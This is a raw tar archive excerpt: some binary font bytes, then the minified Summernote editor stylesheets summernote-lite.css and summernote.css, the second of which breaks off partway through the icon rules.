�<~�&w7;;�C��Ec/�{����9�]��D���Ulq�p�zԌ����AjW�;ufz:�:��������A��i�c�˺u㼩E�ӝ�{�E�݂26�{�I��FpP��xO������+�yӶ���8F�U�։��#�����緤凲G?��7Z��_fd�O`F&~N���`s�,R.�,k���Ghu6�ZN�W�D�os(c�V?�/3��Fr��"Z��ZV4�P��R�Q��:���e�6���}�����kG#dlk#n��8E�(ʸFm�嘂���s���,�����:OB�ye���x���$U��j�$�6���c�85�#��0�R� �v��G��X�* ���<��о� � ���\-������=�5���>�=Z���$��ā;�����=�;����2��ߠ�� �6Vt1iF�>7a��h� �I�w�T. KQ�f�3�K�%����o4U��jy��@ȫȯ4�r��An����bJ�p��S/z�"���QɭT�Ǫ*_,c�{��w�������z�8b/���|�����'�&t0���V��-)ۮn�=5��1Z�t�k#����c�\��F��弅kX��e[����>4U$�����>&*y�N�i;���Ű�y��ӏ��dC��B��U����|�8((��+����]A�sD8��|Kh�e��E��_��`=m�ܾ��Gj=�{f7G��Gg d��4u�6 ֵ)��_��|�Z�#dȩ�lf-�����2,�қ��|�a��H�o I�X]�=D��+e7�(e��B�Zr�|����a���,c�p�d�9�(a��*0)2���lDV� nP-+�2 �cB�ULq. ��q���g��pmpH5��0[�&"D�h&ڊ^�r��F�.�a�9G���WE�:�(:)��� �খ��?OU���� o���鲉-$[���*|=���?�������5~"�&?�Y] M�4��[��t�0\�XS������)���.x�� $$���w5��_�����Eށ�h��Q/!969J�7ŝ2W��5%�rP�'��@B�Ym~�����%|�^"�{e�2�#ZY�Ry�����+�D��Q���O�y�D��a?���n#��G�S\KO]�����g �<�{z�ٱp��$��r l"ÆE,d��eA��5?���1��lW���=��u+�}���0v?y��էtx�t�������� ��x:����`��j-�^ɐ✺�+%r0(��WzϺ�a �+7Rk:���8����0��x�cb```b`�``b�� Ϡ��@�%B��/����*�3��_����`����/3D����?�8������g`��v�����B�$vx�c```d���|�ז���c� summernote-lite.css000064400000065443151677331550010440 0ustar00@font-face{font-family:"summernote";font-style:normal;font-weight:normal;src:url("./font/summernote.eot?dbafe969167589eda84514394d126413");src:url("./font/summernote.eot?#iefix") format("embedded-opentype"),url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype")}[class^="note-icon-"]:before,[class*=" note-icon-"]:before{display:inline-block;font:normal normal normal 14px summernote;font-size:inherit;-webkit-font-smoothing:antialiased;text-decoration:inherit;text-rendering:auto;text-transform:none;vertical-align:middle;speak:none;-moz-osx-font-smoothing:grayscale}.note-icon-align-center:before,.note-icon-align-indent:before,.note-icon-align-justify:before,.note-icon-align-left:before,.note-icon-align-outdent:before,.note-icon-align-right:before,.note-icon-align:before,.note-icon-arrow-circle-down:before,.note-icon-arrow-circle-left:before,.note-icon-arrow-circle-right:before,.note-icon-arrow-circle-up:before,.note-icon-arrows-alt:before,.note-icon-arrows-h:before,.note-icon-arrows-v:before,.note-icon-bold:before,.note-icon-caret:before,.note-icon-chain-broken:before,.note-icon-circle:before,.note-icon-close:before,.note-icon-code:before,.note-icon-col-after:before,.note-icon-col-before:before,.note-icon-col-remove:before,.note-icon-eraser:before,.note-icon-font:before,.note-icon-frame:before,.note-icon-italic:before,.note-icon-link:before,.note-icon-magic:before,.note-icon-menu-check:before,.note-icon-minus:before,.note-icon-orderedlist:before,.note-icon-pencil:before,.note-icon-picture:before,.note-icon-question:before,.note-icon-redo:before,.note-icon-row-above:before,.note-icon-row-below:before,.note-icon-row-remove:before,.note-icon-special-character:before,.note-icon-square:before,.note-icon-strikethrough:before,.note-icon-subscript:before,.note-icon-summernote:before,.note-icon-superscript:before,.note-icon-table:before,.note-icon-text-height:before,.note-icon-trash:before,.note-icon-underline:before,.note-icon-undo:before,.note-icon-unorderedlist:before,.note-icon-video:before{display:inline-block;font-family:"summernote";font-style:normal;font-weight:normal;text-decoration:inherit}.note-icon-align-center:before{content:"\f101"}.note-icon-align-indent:before{content:"\f102"}.note-icon-align-justify:before{content:"\f103"}.note-icon-align-left:before{content:"\f104"}.note-icon-align-outdent:before{content:"\f105"}.note-icon-align-right:before{content:"\f106"}.note-icon-align:before{content:"\f107"}.note-icon-arrow-circle-down:before{content:"\f108"}.note-icon-arrow-circle-left:before{content:"\f109"}.note-icon-arrow-circle-right:before{content:"\f10a"}.note-icon-arrow-circle-up:before{content:"\f10b"}.note-icon-arrows-alt:before{content:"\f10c"}.note-icon-arrows-h:before{content:"\f10d"}.note-icon-arrows-v:before{content:"\f10e"}.note-icon-bold:before{content:"\f10f"}.note-icon-caret:before{content:"\f110"}.note-icon-chain-broken:before{content:"\f111"}.note-icon-circle:before{content:"\f112"}.note-icon-close:before{content:"\f113"}.note-icon-code:before{content:"\f114"}.note-icon-col-after:before{content:"\f115"}.note-icon-col-before:before{content:"\f116"}.note-icon-col-remove:before{content:"\f117"}.note-icon-eraser:before{content:"\f118"}.note-icon-font:before{content:"\f119"}.note-icon-frame:before{content:"\f11a"}.note-icon-italic:before{content:"\f11b"}.note-icon-link:before{content:"\f11c"}.note-icon-magic:before{content:"\f11d"}.note-icon-menu-check:before{content:"\f11e"}.note-icon-minus:before{content:"\f11f"}.note-icon-orderedlist:before{content:"\f120"}.note-icon-pencil:before{content:"\f121"}.note-icon-picture:before{content:"\f122"}.note-icon-question:before{content:"\f123"}.note-icon-redo:before{content:"\f124"}.note-icon-row-above:before{content:"\f125"}.note-icon-row-below:before{content:"\f126"}.note-icon-row-remove:before{content:"\f127"}.note-icon-special-character:before{content:"\f128"}.note-icon-square:before{content:"\f129"}.note-icon-strikethrough:before{content:"\f12a"}.note-icon-subscript:before{content:"\f12b"}.note-icon-summernote:before{content:"\f12c"}.note-icon-superscript:before{content:"\f12d"}.note-icon-table:before{content:"\f12e"}.note-icon-text-height:before{content:"\f12f"}.note-icon-trash:before{content:"\f130"}.note-icon-underline:before{content:"\f131"}.note-icon-undo:before{content:"\f132"}.note-icon-unorderedlist:before{content:"\f133"}.note-icon-video:before{content:"\f134"}.note-frame *{color:#000;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}p{margin:0 0 10px}kbd{padding:3px 5px;font-weight:700;color:#fff;background-color:#000;border-radius:2px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.note-toolbar{padding:10px 5px;border-bottom:1px solid #e2e2e2}.note-btn-group{position:relative;display:inline-block;margin-right:8px}.note-btn-group>.note-btn-group{margin-right:0}.note-btn-group>.note-btn,.note-btn-group>.note-btn-group{margin-left:-4px;border-radius:0}.note-btn-group>.note-btn.focus,.note-btn-group>.note-btn-group.focus,.note-btn-group>.note-btn.active,.note-btn-group>.note-btn-group.active{border-radius:0}.note-btn-group>.note-btn:first-child,.note-btn-group>.note-btn-group:first-child{margin-left:0;border-bottom-left-radius:1px;border-top-left-radius:1px}.note-btn-group>.note-btn:first-child.focus,.note-btn-group>.note-btn-group:first-child.focus,.note-btn-group>.note-btn:first-child.active,.note-btn-group>.note-btn-group:first-child.active{border-bottom-left-radius:1px;border-top-left-radius:1px}.note-btn-group>.note-btn:last-child:not(.note-dropdown),.note-btn-group>.note-btn-group:last-child:not(.note-dropdown){border-top-right-radius:1px;border-bottom-right-radius:1px}.note-btn-group>.note-btn:last-child:not(.note-dropdown).focus,.note-btn-group>.note-btn-group:last-child:not(.note-dropdown).focus,.note-btn-group>.note-btn:last-child:not(.note-dropdown).active,.note-btn-group>.note-btn-group:last-child:not(.note-dropdown).active{border-top-right-radius:1px;border-bottom-right-radius:1px}.note-btn-group.open>.note-dropdown{display:block}.note-btn{display:inline-block;padding:5px 10px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.4;color:#333;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-color:#fff;background-image:none;border:1px solid #fff;border-color:#fff;border-radius:1px;outline:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;touch-action:manipulation}.note-btn:focus,.note-btn.focus{color:#333;background-color:#ebebeb;border-color:#fff}.note-btn:hover{color:#333;background-color:#ebebeb;border-color:#fff}.note-btn.disabled:focus,.note-btn[disabled]:focus,fieldset[disabled] .note-btn:focus,.note-btn.disabled.focus,.note-btn[disabled].focus,fieldset[disabled] .note-btn.focus{background-color:#fff;border-color:#fff}.note-btn:hover,.note-btn:focus,.note-btn.focus{color:#333;text-decoration:none;background-color:#ebebeb;border:1px solid #fff;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;outline:0}.note-btn:active,.note-btn.active{background-image:none;outline:0}.note-btn.disabled,.note-btn[disabled],fieldset[disabled] .note-btn{cursor:not-allowed;-webkit-opacity:.65;-khtml-opacity:.65;-moz-opacity:.65;opacity:.65;-ms-filter:alpha(opacity=65);filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.note-btn-primary{color:#fff;background:#fa6362}.note-btn-primary:hover,.note-btn-primary:focus,.note-btn-primary.focus{color:#fff;text-decoration:none;background-color:#fa6362;border:1px solid #fff;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.note-btn-block{display:block;width:100%}.note-btn-block+.note-btn-block{margin-top:5px}input[type="submit"].note-btn-block,input[type="reset"].note-btn-block,input[type="button"].note-btn-block{width:100%}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.close{float:right;font-size:21px;line-height:1;color:#000;opacity:.2}.close:hover{-webkit-opacity:1;-khtml-opacity:1;-moz-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}.note-dropdown{position:relative}.note-dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:100px;padding:5px;text-align:left;background:#fff;border:1px solid #e2e2e2;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.06);-moz-box-shadow:0 1px 1px rgba(0,0,0,0.06);box-shadow:0 1px 1px rgba(0,0,0,0.06);background-clip:padding-box}.note-btn-group.open .note-dropdown-menu{display:block}.note-dropdown-item{display:block}.note-dropdown-item:hover{background-color:#ebebeb}a.note-dropdown-item,a.note-dropdown-item:hover{margin:2px 0;color:#000;text-decoration:none}.note-modal{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-opacity:1;-khtml-opacity:1;-moz-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}.note-modal.open{display:block}.note-modal-content{position:relative;width:auto;margin:30px 20px;background:#fff;border:1px solid rgba(0,0,0,0.2);outline:0;background-clip:border-box}.note-modal-header{padding:30px 20px 20px 20px;border:1px solid #ededef}.note-modal-header .close{margin-top:-10px}.note-modal-body{position:relative;padding:20px 30px}.note-modal-footer{height:40px;padding:10px;text-align:center}.note-modal-footer a{color:#337ab7;text-decoration:none}.note-modal-footer a:hover,.note-modal-footer a:focus{color:#23527c;text-decoration:underline}.note-modal-footer .note-btn{float:right}.note-modal-title{margin:0;font-size:26px;line-height:1.4;color:#42515f}.note-modal-backdrop{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1040;display:none;background:#000;-webkit-opacity:.5;-khtml-opacity:.5;-moz-opacity:.5;opacity:.5;-ms-filter:alpha(opacity=50);filter:alpha(opacity=50)}.note-modal-backdrop.open{display:block}@media(min-width:768px){.note-modal-content{width:600px;margin:30px auto}}@media(min-width:992px){.note-modal-content-large{width:900px}}.note-form-group{padding-bottom:20px}.note-form-group:last-child{padding-bottom:0}.note-form-label{display:block;margin-bottom:10px;font-size:16px;font-weight:700;color:#42515f}.note-input{display:block;width:100%;padding:6px 4px;font-size:14px;background:#fff;border:1px solid #ededef;outline:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.note-input::-webkit-input-placeholder{color:#eee}.note-input:-moz-placeholder{color:#eee}.note-input::-moz-placeholder{color:#eee}.note-input:-ms-input-placeholder{color:#eee}.note-tooltip{position:absolute;z-index:1070;display:block;font-size:13px;-webkit-opacity:0;-khtml-opacity:0;-moz-opacity:0;opacity:0;-ms-filter:alpha(opacity=0);filter:alpha(opacity=0)}.note-tooltip.in{-webkit-opacity:.9;-khtml-opacity:.9;-moz-opacity:.9;opacity:.9;-ms-filter:alpha(opacity=90);filter:alpha(opacity=90)}.note-tooltip.top{padding:5px 0;margin-top:-3px}.note-tooltip.right{padding:0 5px;margin-left:3px}.note-tooltip.bottom{padding:5px 0;margin-top:3px}.note-tooltip.left{padding:0 5px;margin-left:-3px}.note-tooltip.bottom .note-tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000;border-width:0 5px 5px}.note-tooltip.top .note-tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000;border-width:5px 5px 0}.note-tooltip.right .note-tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000;border-width:5px 5px 5px 0}.note-tooltip.left .note-tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000;border-width:5px 0 5px 5px}.note-tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.note-tooltip-content{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000}.note-popover{position:absolute;z-index:1060;display:block;display:none;font-size:13px;background:#fff;border:1px solid rgba(0,0,0,0.2);border:1px solid #ccc}.note-popover.in{display:block}.note-popover.top{padding:5 0;margin-top:-3px}.note-popover.right{padding:0 5;margin-left:3px}.note-popover.bottom{padding:5 0;margin-top:3px}.note-popover.left{padding:0 5;margin-left:-3px}.note-popover.bottom .note-popover-arrow{top:-11px;left:50%;margin-left:-10px;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,0.25);border-top-width:0}.note-popover.bottom .note-popover-arrow::after{top:1px;margin-left:-10px;border-bottom-color:#fff;border-top-width:0;content:" "}.note-popover.top .note-popover-arrow{bottom:-11px;left:50%;margin-left:-10px;border-top-color:#999;border-top-color:rgba(0,0,0,0.25);border-bottom-width:0}.note-popover.top .note-popover-arrow::after{bottom:1px;margin-left:-10px;border-top-color:#fff;border-bottom-width:0;content:" "}.note-popover.right .note-popover-arrow{top:50%;left:-11px;margin-top:-10px;border-right-color:#999;border-right-color:rgba(0,0,0,0.25);border-left-width:0}.note-popover.right .note-popover-arrow::after{left:1px;margin-top:-10px;border-right-color:#fff;border-left-width:0;content:" "}.note-popover.left .note-popover-arrow{top:50%;right:-11px;margin-top:-10px;border-left-color:#999;border-left-color:rgba(0,0,0,0.25);border-right-width:0}.note-popover.left .note-popover-arrow::after{right:1px;margin-top:-10px;border-left-color:#fff;border-right-width:0;content:" "}.note-popover-arrow{position:absolute;width:0;height:0;border:11px solid transparent}.note-popover-arrow::after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid;border-width:10px;content:" "}.note-popover-content{min-width:100px;min-height:30px;padding:3px 8px;color:#000;text-align:center;background-color:#fff}.note-editor{position:relative}.note-editor .note-dropzone{position:absolute;z-index:100;display:none;color:#87cefa;background-color:#fff;opacity:.95;pointer-event:none}.note-editor .note-dropzone .note-dropzone-message{display:table-cell;font-size:28px;font-weight:700;text-align:center;vertical-align:middle}.note-editor .note-dropzone.hover{color:#098ddf}.note-editor.dragover .note-dropzone{display:table}.note-editor .note-editing-area{position:relative}.note-editor .note-editing-area p{margin:0 0 10px}.note-editor .note-editing-area .note-editable{outline:0}.note-editor .note-editing-area .note-editable table{width:100%;border-collapse:collapse}.note-editor .note-editing-area .note-editable table td,.note-editor .note-editing-area .note-editable table th{padding:5px 3px;border:1px solid #ececec}.note-editor .note-editing-area .note-editable sup{vertical-align:super}.note-editor .note-editing-area .note-editable sub{vertical-align:sub}.note-editor .note-editing-area .note-editable a{font-family:inherit;font-weight:inherit;color:#337ab7;text-decoration:inherit;background-color:inherit}.note-editor .note-editing-area .note-editable a:hover,.note-editor .note-editing-area .note-editable a:focus{color:#23527c;text-decoration:underline;outline:0}.note-editor .note-editing-area .note-editable figure{margin:0}.note-editor.note-frame{border:1px solid #a9a9a9}.note-editor.note-frame.codeview .note-editing-area .note-editable{display:none}.note-editor.note-frame.codeview .note-editing-area .note-codable{display:block}.note-editor.note-frame .note-editing-area{overflow:hidden}.note-editor.note-frame .note-editing-area .note-editable{padding:10px;overflow:auto;color:#000;word-wrap:break-word;background-color:#fff}.note-editor.note-frame .note-editing-area .note-editable[contenteditable="false"]{background-color:#e5e5e5}.note-editor.note-frame .note-editing-area .note-codable{display:none;width:100%;padding:10px;margin-bottom:0;font-family:Menlo,Monaco,monospace,sans-serif;font-size:14px;color:#ccc;background-color:#222;border:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;box-shadow:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;resize:none}.note-editor.note-frame.fullscreen{position:fixed;top:0;left:0;z-index:1050;width:100%!important}.note-editor.note-frame.fullscreen .note-editable{background-color:#fff}.note-editor.note-frame.fullscreen .note-resizebar{display:none}.note-editor.note-frame .note-status-output{display:block;width:100%;height:20px;margin-bottom:0;font-size:14px;line-height:1.42857143;color:#000;border:0;border-top:1px solid #e2e2e2}.note-editor.note-frame .note-status-output:empty{height:0;border-top:0 solid transparent}.note-editor.note-frame .note-status-output .pull-right{float:right!important}.note-editor.note-frame .note-status-output .text-muted{color:#777}.note-editor.note-frame .note-status-output .text-primary{color:#286090}.note-editor.note-frame .note-status-output .text-success{color:#3c763d}.note-editor.note-frame .note-status-output .text-info{color:#31708f}.note-editor.note-frame .note-status-output .text-warning{color:#8a6d3b}.note-editor.note-frame .note-status-output .text-danger{color:#a94442}.note-editor.note-frame .note-status-output .alert{padding:7px 10px 2px 10px;margin:-7px 0 0 0;color:#000;background-color:#f5f5f5;border-radius:0}.note-editor.note-frame .note-status-output .alert .note-icon{margin-right:5px}.note-editor.note-frame .note-status-output .alert-success{color:#3c763d!important;background-color:#dff0d8!important}.note-editor.note-frame .note-status-output .alert-info{color:#31708f!important;background-color:#d9edf7!important}.note-editor.note-frame .note-status-output .alert-warning{color:#8a6d3b!important;background-color:#fcf8e3!important}.note-editor.note-frame .note-status-output .alert-danger{color:#a94442!important;background-color:#f2dede!important}.note-editor.note-frame .note-statusbar{background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.note-editor.note-frame .note-statusbar .note-resizebar{width:100%;height:9px;padding-top:1px;cursor:ns-resize}.note-editor.note-frame .note-statusbar .note-resizebar .note-icon-bar{width:20px;margin:1px auto;border-top:1px solid #a9a9a9}.note-editor.note-frame .note-statusbar.locked .note-resizebar{cursor:default}.note-editor.note-frame .note-statusbar.locked .note-resizebar .note-icon-bar{display:none}.note-editor.note-frame .note-placeholder{padding:10px}.note-popover{max-width:none}.note-popover .note-popover-content a{display:inline-block;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;vertical-align:middle}.note-popover .note-popover-arrow{left:20px!important}.note-popover .note-popover-content,.note-toolbar{padding:0 0 5px 5px;margin:0;background-color:#fff}.note-popover .note-popover-content>.note-btn-group,.note-toolbar>.note-btn-group{margin-top:5px;margin-right:5px;margin-left:0}.note-popover .note-popover-content .note-btn-group .note-table,.note-toolbar .note-btn-group .note-table{min-width:0;padding:5px}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker,.note-toolbar .note-btn-group .note-table .note-dimension-picker{font-size:18px}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher,.note-toolbar .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher{position:absolute!important;z-index:3;width:10em;height:10em;cursor:pointer}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted,.note-toolbar .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted{position:relative!important;z-index:1;width:5em;height:5em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted,.note-toolbar .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted{position:absolute!important;z-index:2;width:1em;height:1em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .note-popover-content .note-style h1,.note-toolbar .note-style h1,.note-popover .note-popover-content .note-style h2,.note-toolbar .note-style h2,.note-popover .note-popover-content .note-style h3,.note-toolbar .note-style h3,.note-popover .note-popover-content .note-style h4,.note-toolbar .note-style h4,.note-popover .note-popover-content .note-style h5,.note-toolbar .note-style h5,.note-popover .note-popover-content .note-style h6,.note-toolbar .note-style h6,.note-popover .note-popover-content .note-style blockquote,.note-toolbar .note-style blockquote{margin:0}.note-popover .note-popover-content .note-color .dropdown-toggle,.note-toolbar .note-color .dropdown-toggle{width:20px;padding-left:5px}.note-popover .note-popover-content .note-color .note-dropdown-menu,.note-toolbar .note-color .note-dropdown-menu{min-width:346px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette,.note-toolbar .note-color .note-dropdown-menu .note-palette{display:inline-block;width:160px;margin:0}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette:first-child,.note-toolbar .note-color .note-dropdown-menu .note-palette:first-child{margin:0 5px;margin-right:15px}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-palette-title,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-palette-title{margin:2px 7px;font-size:12px;text-align:center;border-bottom:1px solid #eee}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-color-reset,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-color-reset{width:100%;padding:2px 3px;margin:3px;cursor:pointer;background-color:#fff;border:0;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-color-row,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-color-row{height:20px}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-color-reset:hover,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-color-reset:hover{background:#eee}.note-popover .note-popover-content .note-para .note-dropdown-menu,.note-toolbar .note-para .note-dropdown-menu{min-width:216px;padding:5px}.note-popover .note-popover-content .note-para .note-dropdown-menu>div:first-child,.note-toolbar .note-para .note-dropdown-menu>div:first-child{margin-right:5px}.note-popover .note-popover-content .note-btn-fontname .note-dropdown-menu,.note-toolbar .note-btn-fontname .note-dropdown-menu{min-width:200px}.note-popover .note-popover-content .note-dropdown-menu,.note-toolbar .note-dropdown-menu{min-width:160px}.note-popover .note-popover-content .note-dropdown-menu.right,.note-toolbar .note-dropdown-menu.right{right:0;left:auto}.note-popover .note-popover-content .note-dropdown-menu.right::before,.note-toolbar .note-dropdown-menu.right::before{right:9px;left:auto!important}.note-popover .note-popover-content .note-dropdown-menu.right::after,.note-toolbar .note-dropdown-menu.right::after{right:10px;left:auto!important}.note-popover .note-popover-content .note-dropdown-menu.note-check .note-dropdown-item i,.note-toolbar .note-dropdown-menu.note-check .note-dropdown-item i{color:deepskyblue;visibility:hidden}.note-popover .note-popover-content .note-dropdown-menu.note-check .note-dropdown-item.checked i,.note-toolbar .note-dropdown-menu.note-check .note-dropdown-item.checked i{visibility:visible}.note-popover .note-popover-content .note-dropdown-menu .note-dropdown-item>*,.note-toolbar .note-dropdown-menu .note-dropdown-item>*{margin:0}.note-popover .note-popover-content .note-fontsize-10,.note-toolbar .note-fontsize-10{font-size:10px}.note-popover .note-popover-content .note-color-palette,.note-toolbar .note-color-palette{line-height:1}.note-popover .note-popover-content .note-color-palette div .note-color-btn,.note-toolbar .note-color-palette div .note-color-btn{width:20px;height:20px;padding:0;margin:0;border:1px solid #fff}.note-popover .note-popover-content .note-color-palette div .note-color-btn:hover,.note-toolbar .note-color-palette div .note-color-btn:hover{border:1px solid #000}.note-modal .note-modal-body label{display:inline-block;padding:2px 5px;margin-bottom:2px}.note-modal .note-modal-body .help-list-item:hover{background-color:#e0e0e0}@-moz-document url-prefix(){.note-image-input{height:auto}}.note-placeholder{position:absolute;display:none;color:gray}.note-handle .note-control-selection{position:absolute;display:none;border:1px solid black}.note-handle .note-control-selection>div{position:absolute}.note-handle .note-control-selection .note-control-selection-bg{width:100%;height:100%;background-color:#000;-webkit-opacity:.3;-khtml-opacity:.3;-moz-opacity:.3;opacity:.3;-ms-filter:alpha(opacity=30);filter:alpha(opacity=30)}.note-handle .note-control-selection .note-control-handle{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-holder{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-sizing{width:7px;height:7px;background-color:#fff;border:1px solid #000}.note-handle .note-control-selection .note-control-nw{top:-5px;left:-5px;border-right:0;border-bottom:0}.note-handle .note-control-selection .note-control-ne{top:-5px;right:-5px;border-bottom:0;border-left:none}.note-handle .note-control-selection .note-control-sw{bottom:-5px;left:-5px;border-top:0;border-right:0}.note-handle .note-control-selection .note-control-se{right:-5px;bottom:-5px;cursor:se-resize}.note-handle .note-control-selection .note-control-se.note-control-holder{cursor:default;border-top:0;border-left:none}.note-handle .note-control-selection .note-control-selection-info{right:0;bottom:0;padding:5px;margin:5px;font-size:12px;color:#fff;background-color:#000;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-opacity:.7;-khtml-opacity:.7;-moz-opacity:.7;opacity:.7;-ms-filter:alpha(opacity=70);filter:alpha(opacity=70)}.note-hint-popover{min-width:100px;padding:2px}.note-hint-popover .note-popover-content{max-height:150px;padding:3px;overflow:auto}.note-hint-popover .note-popover-content .note-hint-group .note-hint-item{display:block!important;padding:3px}.note-hint-popover .note-popover-content .note-hint-group .note-hint-item.active,.note-hint-popover .note-popover-content .note-hint-group .note-hint-item:hover{display:block;clear:both;font-weight:400;line-height:1.4;color:#fff;text-decoration:none;white-space:nowrap;cursor:pointer;background-color:#428bca;outline:0}.help-list-item label{display:inline-block;margin-bottom:5px}summernote.css000064400000042515151677331550007500 0ustar00@font-face{font-family:"summernote";font-style:normal;font-weight:normal;src:url("./font/summernote.eot?dbafe969167589eda84514394d126413");src:url("./font/summernote.eot?#iefix") format("embedded-opentype"),url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype")}[class^="note-icon-"]:before,[class*=" note-icon-"]:before{display:inline-block;font:normal normal normal 14px summernote;font-size:inherit;-webkit-font-smoothing:antialiased;text-decoration:inherit;text-rendering:auto;text-transform:none;vertical-align:middle;speak:none;-moz-osx-font-smoothing:grayscale}.note-icon-align-center:before,.note-icon-align-indent:before,.note-icon-align-justify:before,.note-icon-align-left:before,.note-icon-align-outdent:before,.note-icon-align-right:before,.note-icon-align:before,.note-icon-arrow-circle-down:before,.note-icon-arrow-circle-left:before,.note-icon-arrow-circle-right:before,.note-icon-arrow-circle-up:before,.note-icon-arrows-alt:before,.note-icon-arrows-h:before,.note-icon-arrows-v:before,.note-icon-bold:before,.note-icon-caret:before,.note-icon-chain-broken:before,.note-icon-circle:before,.note-icon-close:before,.note-icon-code:before,.note-icon-col-after:before,.note-icon-col-before:before,.note-icon-col-remove:before,.note-icon-eraser:before,.note-icon-font:before,.note-icon-frame:before,.note-icon-italic:before,.note-icon-link:before,.note-icon-magic:before,.note-icon-menu-check:before,.note-icon-minus:before,.note-icon-orderedlist:before,.note-icon-pencil:before,.note-icon-picture:before,.note-icon-question:before,.note-icon-redo:before,.note-icon-row-above:before,.note-icon-row-below:before,.note-icon-row-remove:before,.note-icon-special-character:before,.note-icon-square:before,.note-icon-strikethrough:before,.note-icon-subscript:before,.note-icon-summernote:before,.note-icon-superscript:before,.note-icon-table:before,.note-icon-text-height:before,.note-icon-trash:before,.note-icon-underline:before,.note-icon-undo:before,.note-icon-unorderedlist:before,.note-icon-video:before{display:inline-block;font-family:"summernote";font-style:normal;font-weight:normal;text-decoration:inherit}.note-icon-align-center:before{content:"\f101"}.note-icon-align-indent:before{content:"\f102"}.note-icon-align-justify:before{content:"\f103"}.note-icon-align-left:before{content:"\f104"}.note-icon-align-outdent:before{content:"\f105"}.note-icon-align-right:before{content:"\f106"}.note-icon-align:before{content:"\f107"}.note-icon-arrow-circle-down:before{content:"\f108"}.note-icon-arrow-circle-left:before{content:"\f109"}.note-icon-arrow-circle-right:before{content:"\f10a"}.note-icon-arrow-circle-up:before{content:"\f10b"}.note-icon-arrows-alt:before{content:"\f10c"}.note-icon-arrows-h:before{content:"\f10d"}.note-icon-arrows-v:before{content:"\f10e"}.note-icon-bold:before{content:"\f10f"}.note-icon-caret:before{content:"\f110"}.note-icon-chain-broken:before{content:"\f111"}.note-icon-circle:before{content:"\f112"}.note-icon-close:before{content:"\f113"}.note-icon-code:before{content:"\f114"}.note-icon-col-after:before{content:"\f115"}.note-icon-